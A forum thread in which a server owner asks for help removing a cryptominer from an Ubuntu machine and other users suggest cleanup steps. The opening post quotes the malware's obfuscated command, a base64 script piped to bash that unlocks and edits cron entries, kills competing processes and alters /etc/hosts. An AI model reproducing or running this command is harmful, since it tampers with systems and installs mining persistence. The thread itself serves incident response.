V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
15399905591
V2EX  ›  Ubuntu

找大佬求助, ubuntu 16.04 中木马了,杀不干净

  •  
  •   15399905591 · 2020-06-11 11:49:14 +08:00 · 1481 次点击
    这是一个创建于 1624 天前的主题,其中的信息可能已经有所发展或是发生改变。

    使用 top 查看到这样一个进程,干掉以后过一段时间就会出现

    PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
    6625 postgres 20 0 2435624 2.035g 4 R 100.0 52.7 1008:52 yYGsf4

    阿里云那边告警发现这样一个脚本,但是找不到定时任务,怀疑是 postgresql 导致的,但是不知道从那里开始查找:

    :sh -c echo b1lyenF6TXcxS1J5SVMxS0RsdnVDeVFBdzBmNGh5SEs5cmxOcHluYlYwTVM0a0crTjQ2OHhaUVlDdmZVRHpvZgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgpmaW5kIC9ldGMvY3Jvbip8eGFyZ3MgY2hhdHRyIC1pCmZpbmQgL3Zhci9zcG9vbC9jcm9uKnx4YXJncyBjaGF0dHIgLWkKY3JvbnRhYiAtbCB8Z3JlcCAtaXZFICJybS1tYWx8a2lsbGVyfGtpbGxNaW5lcnwuXC9va2F8XC91cGR8YXB0aXR1ZGV8YmFzaHRlbXB8Y29uZmlncmN8dG1wMDB8Y3VybHx3Z2V0fGtwY2N2fHh6Zml4fHRoMnBzfGJmZmJlfHJ2bHNzfHdsdmx5fHVjeGluIiB8Y3JvbnRhYiAtCmNyb250YWIgLWwgO2dyZXAgLWlSRSAicm0tbWFsfGtpbGxlcnxrbGxsTWluZXJ8Llwvb2thfFwvdXBkfGFwdGl0dWRlfGJhc2h0ZW1wfGNvbmZpZ3JjfHRtcDAwfGN1cmx8d2dldHxrcGNjdnx4emZpeHx0aDJwc3xiZmZiZXxydm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CmdyZXAgLXEgdG9yMncgL2V0Yy9ob3N0cyAmJiBzZWQgLWkgJy90b3Iydy9kJyAvZXRjL2hvc3RzCnJtIC1mIC9yb290L2NsZWFyLnNoCg== |base64 -d|bash

    15 条回复    2020-06-19 18:08:55 +08:00
    id7368
        1
    id7368  
       2020-06-11 12:01:40 +08:00 via iPhone
    你得把文件也杀了,用 ps 命令查具体文件位置,不过多半在 tmp 文件夹里,到这里看看有没有乱七八糟名字的文件夹
    15399905591
        2
    15399905591  
    OP
       2020-06-11 12:22:12 +08:00
    @id7368 他这个好像是下载下来的,我找不到它在那里启动的
    superrichman
        3
    superrichman  
       2020-06-11 12:26:51 +08:00 via iPhone
    crontab -l
    ghostwwg
        4
    ghostwwg  
       2020-06-11 13:05:46 +08:00   ❤️ 1
    放弃吧,重装是王道
    vinsec
        5
    vinsec  
       2020-06-11 13:18:09 +08:00 via Android
    lsof -p pid 查下相关的文件 然后 lsof file 进一步看下相关联的进程
    7654
        6
    7654  
       2020-06-11 13:20:17 +08:00
    它的操作步骤都在那个 base64 里面啊,按图索骥
    wooyuntest
        7
    wooyuntest  
       2020-06-11 13:29:49 +08:00
    应该是通过某个有漏洞的服务打进来然后种了个挖矿木马,应该还有另外的脚本。 排查下 tmp 目录、crontab 、还有 ssh 公钥以及防火墙。搞不定可以让我上去看看。
    4linuxfun
        8
    4linuxfun  
       2020-06-11 13:32:43 +08:00
    先找出怎么入的,然后重装吧
    limboMu
        9
    limboMu  
       2020-06-11 13:58:22 +08:00
    前些日子,我在玩 redis 暴露在公网上了,也被植入挖矿木马。
    limboMu
        10
    limboMu  
       2020-06-11 13:58:57 +08:00
    @limboMu 然而,我用 docker 启动的,直接杀了容器就好了,为啥不用容器呢?
    Kelan
        11
    Kelan  
       2020-06-11 14:00:35 +08:00
    USR 已经很明确了发生了什么了

    另外这和 Python 有什么关系?
    asilin
        12
    asilin  
       2020-06-11 14:04:42 +08:00
    很简单,因为是从 postgres 用户侵入的,所以备份 postgres 服务后,关停 crontab 服务,使用 find 删除掉所有 postgres 用户的文件,kill 掉所有 postgres 用户的进程,然后删除掉 postgres 用户。

    只要 postgres 用户提权不到 root,那么其翻不了任何大浪的,干掉用户就完事。
    migu123456
        13
    migu123456  
       2020-06-11 14:31:23 +08:00
    把阿里云服务关闭,杀死掉,你这个很有可能是开启了阿里云那个 ssh 证书访问了,可以去后台删除掉
    lyi4ng
        14
    lyi4ng  
       2020-06-11 20:33:49 +08:00   ❤️ 1
    自己解一下 base64 看一下嘛,大概流程就是动了 crontab,按照进程名 kill 了一大堆进程,按照网络连接目标又 kill 了一大堆,然后修改了你的 /etc/hosts,最后删的 clear.sh 看名字好像是个扫尾的,不知道从哪冒出来的

    又是 ryuk 又是 tor2web 的,再看看你这个样子应该就是个挖矿木马吧

    至于干掉后出现啊,你现在给的这一大段就是个守护进程啦,先 kiil 掉行不行啊~看看这个 https://www.cnblogs.com/royfans/p/12722792.html

    至于其余的什么 init.d,systemd.d,LKM,ptrace 之类的应该还没这么大功夫搞你,就是个随处可见的开源挖矿脚本吧
    15399905591
        15
    15399905591  
    OP
       2020-06-19 18:08:55 +08:00
    @lyi4ng 感谢大佬,跟你所发文章的是一模一样的
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   3391 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 25ms · UTC 11:28 · PVG 19:28 · LAX 03:28 · JFK 06:28
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.